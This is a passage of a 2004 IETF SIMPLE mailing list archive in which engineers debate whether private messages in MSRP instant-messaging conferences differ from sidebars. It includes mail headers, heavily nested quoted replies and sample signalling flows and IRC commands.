> > >>single private message to the user or have a real ad-hoc=20
> > conversation
> > >>posibly consisting of a real exchange of messages. In fact,=20
> > this would
> > >>require 4 rounds of singalling (not including sidebar creation and
> > >>tear-down), plus user interaction in between:
> > >>
> > >>REFER (to sidebar)
> > >>200 OK
> > >>
> > >>-Query/inform user whether wants to join-
> > >>
> > >>INVITE (to sidebar)
> > >>200 OK
> > >>ACK
> > >>
> > >>(Note: would probably also require subscription to=20
> conference-info,
> > >>because one would be interested to whom they are sending=20
> the private
> > >>messages...)
> > >>
> > >>MSRP SEND
> > >>MSRP OK
> > >>
> > >>BYE
> > >>200 OK
> > >>
> > >>...as opposed to a single round of messages:
> > >>
> > >>MSRP SEND (private)
> > >>200 OK
> > >>
> > >>(Note that enabling auto-answering wrt the REFER would in the=20
> > >>worst case
> > >>result in a sidebar bombardment, or having a user be=20
> moved over to a
> > >>sidebar in the middle of, say, message composition.)
> > >>
> > >>The same level of functionality would also not be met with=20
> > only using
> > >>private messages. AFAIK, the purpose of a sidebar is to=20
> > move the focus
> > >>of the conversation temporarily outside the original=20
> > conference. This
> > >>requires being able to wrap a discussion into a separate=20
> > >>context. A very
> > >>important aspect of this is to let the user decide whether to=20
> > >>joing such
> > >>a sidebar, and when to join it. Determining to which context a
> > >>particular received private message belongs to can in this=20
> > >>case only be
> > >>done in the recipients head - there are no protocol=20
> > elements to help.
> > >>
> > >>As a conclusion, I don't see how sidebars alone can provide=20
> > >>the required
> > >>functionality.
> > >>
> > >>
> > >>>So, the question is, do we see the perceived efficiency=20
> > >>
> > >>improvements=20
> > >>
> > >>>of a pager-mode sidebar as being sufficiently good to allow for=20
> > >>>defining a separate sidebar mechanism for it?
> > >>
> > >>It is also about user interaction. When a user receives an=20
> > >>INVITE for an
> > >>MSRP session, it can make a choice just like in a voice=20
> call between
> > >>accepting the call or rejecting it. Page mode doesn't=20
> provide that=20
> > >>functionality.
> > >>
> > >>Cheers,
> > >>Aki
> > >>
> > >>
> > >>>-Jonathan R.
> > >>
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 20:23:13 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19263
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 20:23:13 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxycP-0005vG-PZ
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 20:22:46 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i221Mjwu022760
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 20:22:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxycP-0005v1-LY
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 20:22:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19193
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 20:22:42 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxycN-0006Xd-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:22:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyaV-0006AD-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:20:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyYm-0005nO-00; Mon, 01 Mar 2004 20:19:00 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyYm-0005YB-Nz; Mon, 01 Mar 2004 20:19:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyYN-0005TJ-59
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:18:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18744
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:18:31 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyYL-0005j5-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:18:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyXI-0005Yi-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:17:30 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWk-0005Px-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:16:54 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221GhL19603;
	Tue, 2 Mar 2004 03:16:44 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 03:16:06 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i221G65d002114;
	Tue, 2 Mar 2004 03:16:06 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00shBXKR; Tue, 02 Mar 2004 03:16:05 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221G4724395;
	Tue, 2 Mar 2004 03:16:04 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:16:04 +0200
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:16:04 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFF@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcP/ejusJ7pUeeCEQsymrlKJY/2/wwALCkZg
To: <Brian.Rosen@marconi.com>, <aki.niemi@nokia.com>
Cc: <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>,
        <hisham.khartabil@nokia.com>, <Miguel.An.Garcia@nokia.com>,
        <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 01:16:04.0446 (UTC) FILETIME=[EEC3EFE0:01C3FFF3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 03:16:04 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

It seems we are not getting the message through ;)

Let's see how sending a private message looks like as a sidebar vs. as =
proposed in the current draft. The case is this: Users A and B =
participate in the same conference, A wants to send a private message to =
B.

Sidebar case would be roughly like this:
1. A creates a conference for a sidebar using INVITE
   - new MSRP session is established between A and the new focus =
instance
2. A refers B to that conference
3. B joins the conference
   - new MSRP session is established
4. A sends MSRP SEND request to the conference
5. focus forwards it to B
6. A sends BYE
7. focus sends BYE to B

If B replies after 10 seconds, the whole process is followed again from =
1 to 7.

Private message case:
1. A sends private message targeted to B over an existing MSRP session
2. focus forwards it to B

So which solution would you like to adopt?=20

Markus


> -----Original Message-----
> From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: 01 March, 2004 12:41
> To: Niemi Aki (Nokia-M/Espoo)
> Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> pkyzivat@cisco.com; Khartabil Hisham (Nokia-TP-MSW/Helsinki); Garcia
> Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: RE: [Simple] Chat sessions
>=20
>=20
> Aki
>=20
> My post was meant to point out that we had decided to=20
> implement sidebars
> as separate dialogs from main conferences, which is similar to making
> "private messages" separate dialogs from a main IM dialog.  In that
> way, I think that sidebars and private messages are the same; they are
> media sent to a subset of participants in the group.  If there
> is a reason to allow a special way to subset destinations for a
> private message rather than the entire chat group, then whatever
> argument you make would apply to a sidebar. =20
>=20
> Brian
>=20
> > -----Original Message-----
> > From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > Sent: Monday, March 01, 2004 2:58 AM
> > To: ext Rosen, Brian
> > Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > Miguel.An.Garcia@nokia.com; simple@ietf.org
> > Subject: Re: [Simple] Chat sessions
> >=20
> >=20
> > Brian,
> >=20
> > I've never argued for private messages over sidebars. I still=20
> > maintain=20
> > that sidebars and private messages are different and=20
> *complimentary*=20
> > features, and that we need *both* to have a complete=20
> solution for IM=20
> > conferences.
> >=20
> > Cheers,
> > Aki
> >=20
> > ext Rosen, Brian wrote:
> > > Aki
> > >=20
> > > When we were discussing sidebars, I made arguments like=20
> > this against making
> > > a sidebar
> > > a separate session.  Sidebars, I argued, are just media=20
> > (mixing) changes,
> > > they have
> > > nothing to do with session management.
> > >=20
> > > I lost this argument, and I will be very unhappy if IM=20
> > works differently.
> > > One of
> > > the reasons I lost it was the observation that a sidebar=20
> > could include
> > > participants
> > > who are not main conference participants.  I think you have=20
> > the same issue
> > > here.
> > >=20
> > > Brian
> > >=20
> > >=20
> > >>-----Original Message-----
> > >>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>Sent: Sunday, February 29, 2004 12:40 PM
> > >>To: ext Jonathan Rosenberg
> > >>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > >>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>Subject: Re: [Simple] Chat sessions
> > >>
> > >>
> > >>
> > >>
> > >>ext Jonathan Rosenberg wrote:
> > >><snip />
> > >>
> > >>>>3. As Aki explained, sidebars and private IMs within a=20
> conference=20
> > >>>>are two different things. Sidebars are subconferences,=20
> > that include
> > >>>> a certain subset of the participants in the main=20
> > conference. They=20
> > >>>>need to be explicitly created and deleted. Private IMs within a=20
> > >>>>conference are also targeted to a subset of the conference=20
> > >>>>participants. But there is no need to setup a sidebar or=20
> > any other=20
> > >>>>additional context to send them. The recipients can simply be=20
> > >>>>signaled within each message (as proposed by using CPIM=20
> > To header).
> > >>>> This seems to be a specific property of IM, as this sort of=20
> > >>>>addressing would be impossible e.g. in RTP. In theory priate=20
> > >>>>messaging facility could be supported by sidebars, but in=20
> > this case
> > >>>> the focus would need to have as many sidebars constantly=20
> > setup, as
> > >>>> there are different possible participant subset=20
> > combinations. Way=20
> > >>>>too complex and not needed.
> > >>>
> > >>>
> > >>>I dont think that, functionally, what you are describing is=20
> > >>
> > >>different
> > >>
> > >>> from a sidebar. What differs is that the specifics of=20
> this media=20
> > >>>type allow for a more efficient implementation of the=20
> sidebar than=20
> > >>>would be possible for another media type, such as audio.=20
> > >>
> > >>Indeed, the=20
> > >>
> > >>>same is true for IM in general - why set up a session (ala=20
> > >>
> > >>msrp) when
> > >>
> > >>>you can just send a pager mode?
> > >>
> > >>The ultimate proof of difference in functionality is that private
> > >>messages are usable and useful in a sidebar - in fact it makes no
> > >>difference whether they're sent within the context of a=20
> > conference, a
> > >>conference sidebar, or a sidebar of a conference sidebar.
> > >>
> > >>Let me provide a concrete example of an already existing=20
> > service (IRC)
> > >>that has what I think is a close approximation of both sidebar and
> > >>private message functionality. (BTW, I feel strongly that if MSRP
> > >>conferences aren't as feature rich as IRC is, and provide the=20
> > >>same user
> > >>experience, we've failed miserably.)
> > >>
> > >>Channels in IRC have identities, e.g., #helsinki, and=20
> > >>participant lists
> > >>that are delivered in a very similar manner that the=20
> conference-info
> > >>events would be delivered. Users join these channels=20
> using JOIN, at
> > >>which time they get the participant list, and after that,=20
> > >>updates e.g.,
> > >>whenever anyone leaves or joins the channel.
> > >>
> > >>Users can send private messages to the other participants in=20
> > >>the channel:
> > >>
> > >>	PRIVMSG foobar :Some nick you got there foobar!
> > >>
> > >>Usually, these messages are displayed in the same pane as=20
> > the rest of
> > >>the channel's messages, including information about the sender but
> > >>marked accordingly as private.
> > >>
> > >>A user can also invite others to a sidebar of sorts, that=20
> is, a new
> > >>channel, whose properties can be set such that it can be joined by
> > >>invitation only.
> > >>
> > >>	INVITE FunnyNick #my_channel
> > >>	INVITE BeerLover #my_channel
> > >>	INVITE ROOLZ #my_channel
> > >>
> > >>Joining this new channel as a result of an invitation (with JOIN)
> > >>usually results in a new window, moving the focus of=20
> > conversation away
> > >>from the original channel, but still maintaining the=20
> > original channel'
> > >>and its messages active in the background.
> > >>
> > >>The users may again send messages either to the entire=20
> > >>channel (MSG), or
> > >>to only one participant (PRIVMSG). A recipient of an INVITE will
> > >>generally make a choice just like in a SIP invitation whether=20
> > >>or not to
> > >>join the sidebar or not. Receiving a PRIVMSG requires no=20
> > actions from
> > >>the recipient. Indeed, it might even go unnoticed.
> > >>
> > >>Taking this into account, I fail to see how sidebars alone=20
> > can be made
> > >>to work in providing similar functionality in MSRP=20
> > conferences. Either
> > >>sidears or private messages alone won't result in the=20
> same level of
> > >>functionality.
> > >>
> > >>Wrapping all private conversation inside a sidebar is incredibly
> > >>inefficient and results in bad user experience, since there=20
> > >>is no way to
> > >>distinguish a REFER that is to a sidebar whose sole purpose=20
> > >>is to send a
> > >>single private message to the user or have a real ad-hoc=20
> > conversation
> > >>posibly consisting of a real exchange of messages. In fact,=20
> > this would
> > >>require 4 rounds of singalling (not including sidebar creation and
> > >>tear-down), plus user interaction in between:
> > >>
> > >>REFER (to sidebar)
> > >>200 OK
> > >>
> > >>-Query/inform user whether wants to join-
> > >>
> > >>INVITE (to sidebar)
> > >>200 OK
> > >>ACK
> > >>
> > >>(Note: would probably also require subscription to=20
> conference-info,
> > >>because one would be interested to whom they are sending=20
> the private
> > >>messages...)
> > >>
> > >>MSRP SEND
> > >>MSRP OK
> > >>
> > >>BYE
> > >>200 OK
> > >>
> > >>...as opposed to a single round of messages:
> > >>
> > >>MSRP SEND (private)
> > >>200 OK
> > >>
> > >>(Note that enabling auto-answering wrt the REFER would in the=20
> > >>worst case
> > >>result in a sidebar bombardment, or having a user be=20
> moved over to a
> > >>sidebar in the middle of, say, message composition.)
> > >>
> > >>The same level of functionality would also not be met with=20
> > only using
> > >>private messages. AFAIK, the purpose of a sidebar is to=20
> > move the focus
> > >>of the conversation temporarily outside the original=20
> > conference. This
> > >>requires being able to wrap a discussion into a separate=20
> > >>context. A very
> > >>important aspect of this is to let the user decide whether to=20
> > >>joing such
> > >>a sidebar, and when to join it. Determining to which context a
> > >>particular received private message belongs to can in this=20
> > >>case only be
> > >>done in the recipients head - there are no protocol=20
> > elements to help.
> > >>
> > >>As a conclusion, I don't see how sidebars alone can provide=20
> > >>the required
> > >>functionality.
> > >>
> > >>
> > >>>So, the question is, do we see the perceived efficiency=20
> > >>
> > >>improvements=20
> > >>
> > >>>of a pager-mode sidebar as being sufficiently good to allow for=20
> > >>>defining a separate sidebar mechanism for it?
> > >>
> > >>It is also about user interaction. When a user receives an=20
> > >>INVITE for an
> > >>MSRP session, it can make a choice just like in a voice=20
> call between
> > >>accepting the call or rejecting it. Page mode doesn't=20
> provide that=20
> > >>functionality.
> > >>
> > >>Cheers,
> > >>Aki
> > >>
> > >>
> > >>>-Jonathan R.
> > >>
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 20:40:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20513
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 20:40:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxytA-0001Fj-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:40:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxysC-00018z-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:39:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyrF-00012b-00; Mon, 01 Mar 2004 20:38:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyrD-00085v-MD; Mon, 01 Mar 2004 20:38:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyqU-0007wI-1C
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:37:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20396
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:37:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyqR-0000wW-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:37:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxypW-0000pQ-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:36:19 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyom-0000fV-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:35:32 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i221YoaZ027510;
	Mon, 1 Mar 2004 20:34:50 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id UAA21253;
	Mon, 1 Mar 2004 20:34:49 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2YZ87>; Mon, 1 Mar 2004 20:34:48 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6483@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        aki.niemi@nokia.com
Cc: jdrosen@dynamicsoft.com, pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 20:34:42 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

What is the difference between a sidebar and a private message?

I think the ONLY difference is the number of people involved.

A sidebar is two or more.  A private message is exactly two.

There is NO other meaningful difference.

Your argument on overhead is directly comparable to the argument
we went through when we defined sidebars as separate sessions.
I argued that we should NOT create a separate session, but
simply alter the media policy appropriately.  You are simply
repeating the arguments I made.

I lost that argument.  

Brian

> -----Original Message-----
> From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> Sent: Monday, March 01, 2004 8:16 PM
> To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
> simple@ietf.org
> Subject: RE: [Simple] Chat sessions
> 
> 
> Hi,
> 
> It seems we are not getting the message through ;)
> 
> Let's see how sending a private message looks like as a 
> sidebar vs. as proposed in the current draft. The case is 
> this: Users A and B participate in the same conference, A 
> wants to send a private message to B.
> 
> Sidebar case would be roughly like this:
> 1. A creates a conference for a sidebar using INVITE
>    - new MSRP session is established between A and the new 
> focus instance
> 2. A refers B to that conference
> 3. B joins the conference
>    - new MSRP session is established
> 4. A sends MSRP SEND request to the conference
> 5. focus forwards it to B
> 6. A sends BYE
> 7. focus sends BYE to B
> 
> If B replies after 10 seconds, the whole process is followed 
> again from 1 to 7.
> 
> Private message case:
> 1. A sends private message targeted to B over an existing MSRP session
> 2. focus forwards it to B
> 
> So which solution would you like to adopt? 
> 
> Markus
> 
> 
> > -----Original Message-----
> > From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > Sent: 01 March, 2004 12:41
> > To: Niemi Aki (Nokia-M/Espoo)
> > Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> > pkyzivat@cisco.com; Khartabil Hisham (Nokia-TP-MSW/Helsinki); Garcia
> > Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> > Subject: RE: [Simple] Chat sessions
> > 
> > 
> > Aki
> > 
> > My post was meant to point out that we had decided to 
> > implement sidebars
> > as separate dialogs from main conferences, which is similar 
> to making
> > "private messages" separate dialogs from a main IM dialog.  In that
> > way, I think that sidebars and private messages are the 
> same; they are
> > media sent to a subset of participants in the group.  If there
> > is a reason to allow a special way to subset destinations for a
> > private message rather than the entire chat group, then whatever
> > argument you make would apply to a sidebar.  
> > 
> > Brian
> > 
> > > -----Original Message-----
> > > From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > > Sent: Monday, March 01, 2004 2:58 AM
> > > To: ext Rosen, Brian
> > > Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > > pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > > Miguel.An.Garcia@nokia.com; simple@ietf.org
> > > Subject: Re: [Simple] Chat sessions
> > > 
> > > 
> > > Brian,
> > > 
> > > I've never argued for private messages over sidebars. I still 
> > > maintain 
> > > that sidebars and private messages are different and 
> > *complimentary* 
> > > features, and that we need *both* to have a complete 
> > solution for IM 
> > > conferences.
> > > 
> > > Cheers,
> > > Aki
> > > 
> > > ext Rosen, Brian wrote:
> > > > Aki
> > > > 
> > > > When we were discussing sidebars, I made arguments like 
> > > this against making
> > > > a sidebar
> > > > a separate session.  Sidebars, I argued, are just media 
> > > (mixing) changes,
> > > > they have
> > > > nothing to do with session management.
> > > > 
> > > > I lost this argument, and I will be very unhappy if IM 
> > > works differently.
> > > > One of
> > > > the reasons I lost it was the observation that a sidebar 
> > > could include
> > > > participants
> > > > who are not main conference participants.  I think you have 
> > > the same issue
> > > > here.
> > > > 
> > > > Brian
> > > > 
> > > > 
> > > >>-----Original Message-----
> > > >>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > > >>Sent: Sunday, February 29, 2004 12:40 PM
> > > >>To: ext Jonathan Rosenberg
> > > >>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > > >>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > > >>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > > >>Subject: Re: [Simple] Chat sessions
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>ext Jonathan Rosenberg wrote:
> > > >><snip />
> > > >>
> > > >>>>3. As Aki explained, sidebars and private IMs within a 
> > conference 
> > > >>>>are two different things. Sidebars are subconferences, 
> > > that include
> > > >>>> a certain subset of the participants in the main 
> > > conference. They 
> > > >>>>need to be explicitly created and deleted. Private 
> IMs within a 
> > > >>>>conference are also targeted to a subset of the conference 
> > > >>>>participants. But there is no need to setup a sidebar or 
> > > any other 
> > > >>>>additional context to send them. The recipients can simply be 
> > > >>>>signaled within each message (as proposed by using CPIM 
> > > To header).
> > > >>>> This seems to be a specific property of IM, as this sort of 
> > > >>>>addressing would be impossible e.g. in RTP. In theory priate 
> > > >>>>messaging facility could be supported by sidebars, but in 
> > > this case
> > > >>>> the focus would need to have as many sidebars constantly 
> > > setup, as
> > > >>>> there are different possible participant subset 
> > > combinations. Way 
> > > >>>>too complex and not needed.
> > > >>>
> > > >>>
> > > >>>I dont think that, functionally, what you are describing is 
> > > >>
> > > >>different
> > > >>
> > > >>> from a sidebar. What differs is that the specifics of 
> > this media 
> > > >>>type allow for a more efficient implementation of the 
> > sidebar than 
> > > >>>would be possible for another media type, such as audio. 
> > > >>
> > > >>Indeed, the 
> > > >>
> > > >>>same is true for IM in general - why set up a session (ala 
> > > >>
> > > >>msrp) when
> > > >>
> > > >>>you can just send a pager mode?
> > > >>
> > > >>The ultimate proof of difference in functionality is 
> that private
> > > >>messages are usable and useful in a sidebar - in fact 
> it makes no
> > > >>difference whether they're sent within the context of a 
> > > conference, a
> > > >>conference sidebar, or a sidebar of a conference sidebar.
> > > >>
> > > >>Let me provide a concrete example of an already existing 
> > > service (IRC)
> > > >>that has what I think is a close approximation of both 
> sidebar and
> > > >>private message functionality. (BTW, I feel strongly 
> that if MSRP
> > > >>conferences aren't as feature rich as IRC is, and provide the 
> > > >>same user
> > > >>experience, we've failed miserably.)
> > > >>
> > > >>Channels in IRC have identities, e.g., #helsinki, and 
> > > >>participant lists
> > > >>that are delivered in a very similar manner that the 
> > conference-info
> > > >>events would be delivered. Users join these channels 
> > using JOIN, at
> > > >>which time they get the participant list, and after that, 
> > > >>updates e.g.,
> > > >>whenever anyone leaves or joins the channel.
> > > >>
> > > >>Users can send private messages to the other participants in 
> > > >>the channel:
> > > >>
> > > >>	PRIVMSG foobar :Some nick you got there foobar!
> > > >>
> > > >>Usually, these messages are displayed in the same pane as 
> > > the rest of
> > > >>the channel's messages, including information about the 
> sender but
> > > >>marked accordingly as private.
> > > >>
> > > >>A user can also invite others to a sidebar of sorts, that 
> > is, a new
> > > >>channel, whose properties can be set such that it can 
> be joined by
> > > >>invitation only.
> > > >>
> > > >>	INVITE FunnyNick #my_channel
> > > >>	INVITE BeerLover #my_channel
> > > >>	INVITE ROOLZ #my_channel
> > > >>
> > > >>Joining this new channel as a result of an invitation 
> (with JOIN)
> > > >>usually results in a new window, moving the focus of 
> > > conversation away
> > > >>from the original channel, but still maintaining the 
> > > original channel'
> > > >>and its messages active in the background.
> > > >>
> > > >>The users may again send messages either to the entire 
> > > >>channel (MSG), or
> > > >>to only one participant (PRIVMSG). A recipient of an INVITE will
> > > >>generally make a choice just like in a SIP invitation whether 
> > > >>or not to
> > > >>join the sidebar or not. Receiving a PRIVMSG requires no 
> > > actions from
> > > >>the recipient. Indeed, it might even go unnoticed.
> > > >>
> > > >>Taking this into account, I fail to see how sidebars alone 
> > > can be made
> > > >>to work in providing similar functionality in MSRP 
> > > conferences. Either
> > > >>sidears or private messages alone won't result in the 
> > same level of
> > > >>functionality.
> > > >>
> > > >>Wrapping all private conversation inside a sidebar is incredibly
> > > >>inefficient and results in bad user experience, since there 
> > > >>is no way to
> > > >>distinguish a REFER that is to a sidebar whose sole purpose 
> > > >>is to send a
> > > >>single private message to the user or have a real ad-hoc 
> > > conversation
> > > >>posibly consisting of a real exchange of messages. In fact, 
> > > this would
> > > >>require 4 rounds of singalling (not including sidebar 
> creation and
> > > >>tear-down), plus user interaction in between:
> > > >>
